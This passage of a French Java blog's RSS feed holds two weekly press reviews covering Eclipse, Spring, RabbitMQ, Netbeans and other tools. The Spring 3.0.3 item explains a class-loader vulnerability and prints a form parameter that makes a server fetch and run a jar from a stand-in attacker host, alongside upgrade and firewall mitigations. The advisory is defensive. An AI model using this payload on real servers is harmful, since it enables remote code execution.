<p><strong>Agilité</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HappybirthdayPostIt">Happy birthday Post-It !</a></li>
</ul>
<h3><a name="Outils"></a>Outils</h3>
<h4><a name="HeliosEclipse"></a>Helios, Eclipse 3.6</h4>
<p>Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d'<a title="Helios" href="http://www.eclipse.org/">Helios</a> pour incarner la version annuelle d'Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.</p>
<p>Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le "Install new software...", un lien direct vers le Marketplace permet très facilement d'installer ces plugins, un peu à la manière d'un plugin Firefox (tout comme le redémarrage obligatoire). L'ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l'implémentation <em>full java</em> utilisée également sur d'autre projets alors qu'EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.</p>
<p>En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:</p>
<ul>
<li>Les options du <em>formatter</em> acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le <em>formatter</em> d'une partie du code (intéressant pour aider des merges compliqués).</li>
<li>Les fonctionnalités sur le breakpoint, comme l'ajout d'une condition ou le compteur, sont à présent directement accessibles dans le panel <em>breakpoints</em> et non plus en passant par un menu contextuel dans le code.</li>
</ul>
<p>La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d'Eclipse propose un <a title="top ten" href="http://eclipsesource.com/blogs/2010/06/23/top-10-eclipse-helios-features/">top ten</a> intéressant pour faire le tour des fonctionnalités. Arrive en tête l'application Xtext qui permet d'écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.</p>
<p>Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !</p>
<h3><a name="SOA"></a>SOA</h3>
<h4><a name="SortiedeTomcatStatsladministra"></a>Tomcat Stats: administrer Tomcat depuis son iPhone</h4>
<p><a title="MuleSoft" href="http://www.mulesoft.com">MuleSoft</a>, plus connu pour son ESB Open Source <a title="Mule" href="http://www.mulesoft.com/mule-esb-open-source-esb">Mule</a>, a récemment annoncé la sortie de <a title="Tomcat Stats" href="http://www.mulesoft.com/mulesoft-introduces-iphone-app-apache-tomcat">Tomcat Stats</a>, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l'<a title="offre de support" href="http://www.mulesoft.com/free-apache-tomcat-support">offre de support</a> également gratuite, proposée par MuleSoft depuis maintenant presque une année. L'application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu'elles soient installées au sein de l'infrastructure propre de l'entreprise ou dans le Cloud. L'ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l'application, notamment l'utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.</p>
<p>Pour télécharger l'application, rien de plus simple il suffit de se rendre sur l'App Store, directement depuis son mobile, ou sur iTunes à l'adresse suivante : <a title="Tomcat Stats By MuleSoft Inc" href="http://itunes.apple.com/us/app/tomcat-stats/id376646649?mt=8">Tomcat Stats By MuleSoft Inc.</a></p>
<p>Bien qu'un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.</p>
<h3><a name="Lecoindelatechnique"></a>Le coin de la  technique</h3>
<h4><a name="ArticlessurGroovySpringetGrail"></a>Articles sur Groovy/Spring et Grails/Hibernate</h4>
<p><a title="IBM developerWorks" href="http://www.ibm.com/developerworks/">IBM developerWorks</a> nous a récemment gratifié d'un  article en 2 parties intitulé "GroovierSpring".  Dans <a title="la premire partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring1.html">la première partie</a>, nous  apprenons à définir des beans Spring en Groovy. Quatre méthodes  sont à notre disposition:</p>
<ul>
<li>Utilisation de classes Groovy compilées en .class normaux</li>
<li>Utilisation de classes Groovy directement sous forme de .groovy</li>
<li>Utilisation de  scripts Groovy en ligne,  écrits dans la configuration Spring</li>
<li>Utilisation  de <a title="Bean Builder" href="http://www.grails.org/Spring+Bean+Builder">Bean Builder</a> de Grails</li>
</ul>
<p>Cette  dernière possibilité permet de créer des beans dynamiquement, à  partir de code Groovy. Cela  sous entend que l'on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la  logique... C'est d'ailleurs une solution utilisée dans Grails.</p>
<p>Une  fois les beans correctement  définis, nous pouvons les utiliser comme n'importe quel bean Java  défini plus classiquement. Le fait que les beans soient à  l'origine en Groovy est  complètement transparent à l'application.<br />
<a title="La seconde partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring2.html">La seconde partie</a> de l'article  va plus loin en explorant le rechargement à chaud des beans Groovy. C'est une plus-value  importante: qui n'a jamais rêvé de pouvoir changer facilement certains  bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents  !) ? De plus, l'article propose une implémentation permettant de  stocker son code Groovy en  base de donnée, car il n'est pas toujours évident d'accéder au système  de fichier des applications en production. C'est une idée assez peu  conventionnelle ! D'ailleurs, le paragraphe de fin, intitulé "When Groovy scripts go bad",  constitue une mise en garde pour ne pas abuser de ces possibilités, et  être conscient des problèmes de sécurité soulevés.</p>
<p>Tant que nous  somme dans le monde de Groovy,  il nous semble intéressant de vous indiquer un article <a title="du blog de SpringSource" href="http://blog.springsource.com/2010/06/23/gorm-gotchas-part-1/">du blog de SpringSource</a> qui s'intitule "GORM Gotchas (Part 1)". Il pointe du  doigt des comportements de GORM (la couche de  persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d'Hibernate n'apprendront pas grand choses, mais l'article éclairera sans doutes  ceux qui, attirés par la simplicité de Grails, se sont  mis à l'utiliser sans expérience préalable d'Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à "save()", et pourquoi ils le sont parfois en l'absence d'appel à cette même méthode. <a title="Un autre article" href="http://naleid.com/blog/2009/10/01/batch-import-performance-with-grails-and-mysql/">Un autre article</a> traitant de Grails et Hibernate nous vient de Ted Naleid.  Celui-ci explique comment il a pu améliorer les performances de son batch en <em>flushant</em> la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s'appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !</p>
<h4><a name="Unnouveautoporientperformance"></a>Un nouveau top 10 orienté performance</h4>
<p>Ce top10 se trouve <a title="sur le blog de lditeur Dynatrace" href="http://blog.dynatrace.com/2010/06/15/top-10-performance-problems-taken-from-zappos-monster-and-co/">sur le blog de l'éditeur Dynatrace</a>. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d'un top 10 sélectif, chez des clients qui avaient conscience d'avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu'il est bon de toujours avoir à l'esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d'expérience.</p>
<ul>
<li>une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).</li>
<li>une mauvaise programmation concurrente, avec un excès de synchronisation.</li>
<li>un manque de compréhension des appels <em>remote</em> et donc un trop grand nombre d'appels.</li>
<li>un mauvais usage des frameworks de mapping objet - relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l'utilisation la plus hors de propos de la librairie.</li>
<li>l'existence de fuite mémoire (mais pourquoi ce point n'a t'il pas été placé en premier ?)</li>
<li>une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d'introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta...</li>
<li>une mauvaise utilisation des ressources machine (CPU, I/O...). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.</li>
<li>des sites web trop chargés. La bande passante ne cesse d'augmenter, mais ce n'est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.</li>
<li>une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c'est le Garbage Collector qui vous rappellera à l'ordre.</li>
<li>la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d'objets, ou des objets trop volumineux.</li>
</ul>
<p>Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c'est en partie la raison de vivre d'un blog éditeur) et nous préférons le déplacer en bonus :</p>
<ul>
<li>le problème intermittent, invisible. C'est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.</li>
</ul>
<h3><a name="Agilit"></a>Agilité</h3>
<h4><a name="HappybirthdayPostIt"></a>Happy birthday Post-It !</h4>
<p>Et pour conclure cette revue de presse, nous ne résistons pas à l'envie de partager avec vous cette nouvelle d'importance: les Post-It, ces fameuses petites notes collantes multicolores, <a title="fêtent leurs 30 ans" href="http://www.journaldunet.com/economie/industrie/fabrication-de-post-it/">fêtent leurs 30 ans</a>. Rappelons que l'utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d'un Sprint sans Post-It ?! Alors pour leur rendre hommage, <a title="regardons quelques photos" href="http://www.touilleur-express.fr/2009/03/30/3-exemples-de-tableaux-scrum/">regardons quelques photos</a> ou encore cette <a title="magnifique vido de laquelle ils sont les acteurs majeurs" href="http://vimeo.com/4587652">magnifique vidéo de laquelle ils sont les acteurs majeurs</a>. Bon anniversaire les p'tits gars !</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Revue de Presse Xebia</title>
		<link>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/</link>
		<comments>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 05:45:32 +0000</pubDate>
		<dc:creator>Xebia France</dc:creator>
				<category><![CDATA[Revue de presse]]></category>
		<category><![CDATA[Apache Click]]></category>
		<category><![CDATA[Eclipse]]></category>
		<category><![CDATA[Netbean]]></category>
		<category><![CDATA[Netbeans]]></category>
		<category><![CDATA[PaaS]]></category>
		<category><![CDATA[Play!]]></category>
		<category><![CDATA[rabbitmq]]></category>
		<category><![CDATA[Sencha]]></category>
		<category><![CDATA[Spring]]></category>
		<category><![CDATA[Stratos]]></category>
		<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=4919</guid>
		<description><![CDATA[
La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.
Actualité  éditeurs / SSII

RabbitMQ 1.8

RIA

Du côté de chez Play! Framework
ExtJS + Raphael + jQtouch = Sencha

SOA

WSO2 lance Stratos, un PaaS ouvert

Le coin de la  technique

Spring, version 3.0.3 et faille de sécurité
Trucs et astuces pour Eclipse
Sortie d'Apache Click 2.2.0
Netbeans 6.9
Choisir entre mod_jk et mod_proxy, [...]]]></description>
			<content:encoded><![CDATA[<p><img style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p>
<p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p>
<p><strong>Actualité  éditeurs / SSII</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#RabbitMQ">RabbitMQ 1.8</a></li>
</ul>
<p><strong>RIA</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#DuctdechezPlayFramework">Du côté de chez Play! Framework</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#ExtJSRaphaeljQtouchSencha">ExtJS + Raphael + jQtouch = Sencha</a></li>
</ul>
<p><strong>SOA</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#WSOlanceStratosunPaaSouvert">WSO2 lance Stratos, un PaaS ouvert</a></li>
</ul>
<p><strong>Le coin de la  technique</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Springversionetfailledescurit">Spring, version 3.0.3 et faille de sécurité</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#TrucsetastucespourEclipse">Trucs et astuces pour Eclipse</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#SortiedApacheClick">Sortie d'Apache Click 2.2.0</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Netbeans">Netbeans 6.9</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Choisirentremodjketmodproxypar">Choisir entre mod_jk et mod_proxy, par Mark Thomas</a></li>
</ul>
<h3><a name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3>
<h4><a name="RabbitMQ"></a>RabbitMQ 1.8</h4>
<p>Alors que des idées originales sont proposées autour de RabbitMQ, comme cette <a title="proposition" href="http://www.tomcatexpert.com/blog/2010/06/21/clustering-cloud-friendly-tomcat-sessions-rabbitmq-part-i">proposition</a> de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.</p>
<p>La possibilité d'ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d'échanges semble s'adresser surtout aux spécialistes (RabbitMQ pour l'instant ne propose qu'un mode de persistance même si un nouveau est annoncé prochainement).</p>
<p>Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d'<a href="www.amqp.org">AMQP</a> qui est actuellement en version 0.10 et déjà supportée par <a title="Qpid" href="http://qpid.apache.org/">Qpid</a>. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d'efforts aux brokers pour l'implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de <em>acker</em> plusieurs fois un même message.</p>
<p>On peut regretter aussi que cette version n'apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s'il existe déjà des solutions externes.</p>
<p>Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :</p>
<div class="syntax_hilite">
<div id="xml-34">
<div class="xml"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;dependency<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;groupId<span style="font-weight: bold; color: black;">&gt;</span></span></span>com.rabbitmq<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/groupId<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;artifactId<span style="font-weight: bold; color: black;">&gt;</span></span></span>amqp-client<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/artifactId<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;version<span style="font-weight: bold; color: black;">&gt;</span></span></span>1.8.0<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/version<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/dependency<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</div>
</div>
<p>
Bien que cette version ne révolutionne rien, elle corrige pas mal d'imperfections et il est chaudement conseillé de l'installer.</p>
<h3><a name="RIA"></a>RIA</h3>
<h4><a name="DuctdechezPlayFramework"></a>Du côté de chez Play! Framework</h4>
<p><a title="Play!" href="http://www.playframework.org/">Play!</a>, le framework qui monte, qui monte, vient de passer un cap important : une <a title="Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Cheat Sheet</a> vient de lui être consacrée !</p>
<p>Les releases s'enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.</p>
<ul>
<li><a title="Play! Framework Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Play! Framework Cheat Sheet</a></li>
</ul>
<p>Egalement à signaler, le lancement d'une plateforme pour héberger vos applications Play! : <a title="PlayApps" href="http://www.playapps.net/">PlayApps</a>. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l'air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n'avons pas encore eu l'occasion de tester ça, et nous sommes curieux.</p>
<h4><a name="ExtJSRaphaeljQtouchSencha"></a>ExtJS + Raphael + jQtouch = Sencha</h4>
<p>Nous connaissons <a title="ExtJS" href="http://www.sencha.com/products/js/">ExtJS</a> mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient <a title="Sencha" href="http://sencha.com/">Sencha</a> ! (via <a title="ajaxian" href="http://ajaxian.com/archives/sencha-extjs-jqtouch-raphael-connect"><em>ajaxian</em></a>)</p>
<p>Alors, qu'y a-t-il derrière cette nouvelle identité ?  Et bien plusieurs produits déjà sortis et d'autres encore en incubation :</p>
<ul>
<li>Sencha Touch : framework HTML5 pour développement mobile <em>(iPhone et Android)</em> ;</li>
<li>Ext Designer : application desktop de création d'interfaces ;</li>
<li>Ext JS : on ne présente plus ce framework de création d'interfaces riches en Javascript ;</li>
<li>Ext GWT : Ext JS pour les développeurs Java et GWT ;</li>
<li>Ext Core : librairie Javascript cross-browser ;</li>
<li>[Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;</li>
<li>[Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;</li>
<li>[Labs] Connect : framework regroupant Rack et NodeJS <em>(j'attend déjà avec impatience !)</em> pour un serveur d'application <em>lean</em> et <em>event driven</em>.</li>
</ul>
<p>Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.</p>
<h3><a name="SOA"></a>SOA</h3>
<h4><a name="WSOlanceStratosunPaaSouvert"></a>WSO2 lance Stratos, un PaaS ouvert</h4>
<p><a title="WSO2" href="http://wso2.org/">WSO2</a>, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme <a title="PaaS" href="http://en.wikipedia.org/wiki/Platform_as_a_service">PaaS</a> Stratos. D'après <a title="Paul Fermantle" href="http://pzf.fremantle.org/2010/06/wso2-stratos-platform-as-service-for.html">Paul Fermantle</a>, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :</p>
<ul>
<li>contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,</li>
</ul>
<ul>
<li>Stratos n'offre pas seulement une plateforme pour le développement d'applications web, mais une architecture d'un SI d'entreprise complète avec notamment un ESB, de l'orchestration de services, etc ...,</li>
</ul>
<ul>
<li>Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.</li>
</ul>
<p>Vous pouvez d'ores et déjà l'essayer à cette <a title="adresse" href="https://cloud.wso2.com/carbon/admin/login.jsp">adresse</a></p>
<h3><a name="Lecoindelatechnique"></a>Le coin de la  technique</h3>
<h4><a name="Springversionetfailledescurit"></a>Spring, version 3.0.3 et faille de sécurité</h4>
<p>Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d'une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.</p>
<p>Plus de détails sur l'<a title="annonce officielle" href="http://blog.springsource.com/2010/06/15/spring-framework-3-0-3-released/">annonce officielle</a>. Il est à noter que cette version corrige <a title="une faille de scurit assez importante" href="http://www.securityfocus.com/archive/1/511877">une faille de sécurité assez importante</a> découverte sur la partie MVC et remontée par Meder Kydyraliev, de l'équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.</p>
<p>Le principe de l'attaque consiste à :</p>
<ol>
<li>Réaliser un jar accessible depuis internet avec un fichier <code>META-INF/spring-form.tld</code> et un répertoire <code>META-INF/tags/</code> contenant le code Java du tag</li>
<li>Soumettre un formulaire avec le paramètre HTTP : <code>class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/</code></li>
<li>Ensuite, le comportement interne de Spring fait qu'il va télécharger <code>http://attacker/attack.jar</code> pour l'exécuter sur la JVM du serveur d'application.</li>
</ol>
<p>Pour se défendre de ce type d'attaque il y a deux possibilités :</p>
<ul>
<li>Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)</li>
<li>Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l'URL soumise</li>
</ul>
<p>Pour plus détails, je vous invite à lire le <a title="billet de Julien Dubois sur son blog Responcia" href="http://www.responcia.fr/blog/2010/06/18/faille-de-securite-critique-dans-spring/">billet de Julien Dubois sur son blog Responcia</a></p>
<h4><a name="SortiedApacheClick"></a>Sortie d'Apache Click 2.2.0</h4>
<p><a title="Apache Click" href="http://click.apache.org/">Apache Click</a> est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s'écrit en Velocity, en FreeMarker ou en JSP. Click est <em>stateless</em> par défaut mais peut être paramétré pour être <em>stateful</em>. A noter qu'il est <em>top-level project</em> chez Apache depuis Novembre 2009.</p>
<p>Les nouveautés de cette version sont <a title="nombreuses" href="http://click.apache.org/docs/roadmap-changes.html">nombreuses</a>. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l'ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.</p>
<p>Les liens utiles : <a title="téléchargement" href="http://click.apache.org/docs/downloads.html">téléchargement</a>, <a title="guide utilisateur" href="http://click.apache.org/docs/user-guide.html">guide utilisateur</a> et <a title="exemples" href="http://www.avoka.com/click-examples/home.htm">exemples</a>.</p>
<h4><a name="TrucsetastucespourEclipse"></a>Trucs et astuces pour Eclipse</h4>
<p>De plus en plus de développeurs sont convaincus par <a title="IntelliJ IDEA" href="http://www.jetbrains.com/idea/">IntelliJ IDEA</a>, l'IDE de <a title="JetBrains" href="http://www.jetbrains.com/">JetBrains</a>. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse.  Certes, IDEA apporte son lot de changements par rapport à <a title="Eclipse" href="http://www.eclipse.org/">Eclipse</a> mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l'IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d'articles du côté de chez <a title="CertPal" href="http://www.certpal.com/blogs/tag/tips/">CertPal</a> de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d'Eclipse.</p>
<p>Le <a title="premier article" href="http://www.certpal.com/blogs/2009/08/eclipse-tips-and-tricks-part-1/">premier article</a> se consacre au <code>code templates</code>. Exemple : la complétion sur <code>syso</code> nous génère automatiquement <code>System.out.println()</code>. De nombreux templates sont déjà disponibles et il sera bien sûr possible d'en ajouter très facilement. L'auteur nous présente alors quelques possibilités de templates comme le <code>go</code> générant un <code>main</code>, le <code>log</code> générant une variable de log avec les imports adéquats ou bien encore le <code>tryf</code> générant un block <code>try/catch/finally</code>.</p>
<p>Le <a title="second" href="http://www.certpal.com/blogs/2009/09/eclipse-tips-and-tricks-part-2/">second</a> se focalise sur le débogage de l'application. Cela commence par la mise en place du <code>remote debugging</code>. Puis, l'auteur détaille les points d'arrêt conditionnels, la vue <code>display</code> qui permet l'exécution de code <em>live</em> avec toutes les variables du scope à disposition, la définition d'un <code>detail formatter</code> spécifique et la modification <em>live</em> de valeurs depuis la vue d'inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le <em>debug</em> de nos applications.</p>
<p>Enfin, sorti en début de semaine dernière, un <a title="troisime article" href="http://www.certpal.com/blogs/2010/06/eclipse-tips-and-tricks-part-3/">troisième article</a>, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l'import/export des préférences ou la très intéressante vue <code>local history</code>.</p>
<p>La série n'étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.</p>
<h4><a name="Netbeans"></a>Netbeans 6.9</h4>
<p>Aprés IntelliJ et Eclipse, Netbeans ! <a title="Netbeans 69" href="http://netbeans.org/community/releases/69/">Netbeans 6.9</a> est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d'un formulaire, associés à des états et une source de données. Tout comme l'ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.</p>
<p>Parmi les autres nouveautés :</p>
<ul>
<li>intégration d'OSGI</li>
<li>support de Spring 3.0.0</li>
<li>support REST web services pour les applications RCP</li>
<li>support de Rails 3.0</li>
</ul>
<p>A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.</p>
<p>Bien que ce soit une version majeure, pas sûr néanmoins qu'elle fasse de l'ombre à la version annuelle d'Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.</p>
<h4><a name="Choisirentremodjketmodproxypar"></a>Choisir entre mod_jk et mod_proxy, par Mark Thomas</h4>
<p>Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s'est fendu d'un nouvel article qui se veut une <em>checklist</em> pour choisir entre le mod_jk et le mod_proxy. Mark commence d'ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd'hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:</p>
<ul>
<li>Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.</li>
<li>Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.</li>
<li>Si vous avez déjà un de ces modules en production, ne changez rien.</li>
<li>Mark préfère le mod_proxy_http, pour sa configuration plus consistante.</li>
</ul>
<p>Pour plus d'information, vous pouvez lire son article sur le <a title="blog Tomcat Expert" href="http://www.tomcatexpert.com/blog/2010/06/16/deciding-between-modjk-modproxyhttp-and-modproxyajp">blog Tomcat Expert</a>, ou connaître notre avis sur la question: <a title="modproxy vs modjk" href="http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/">mod_proxy vs mod_jk</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
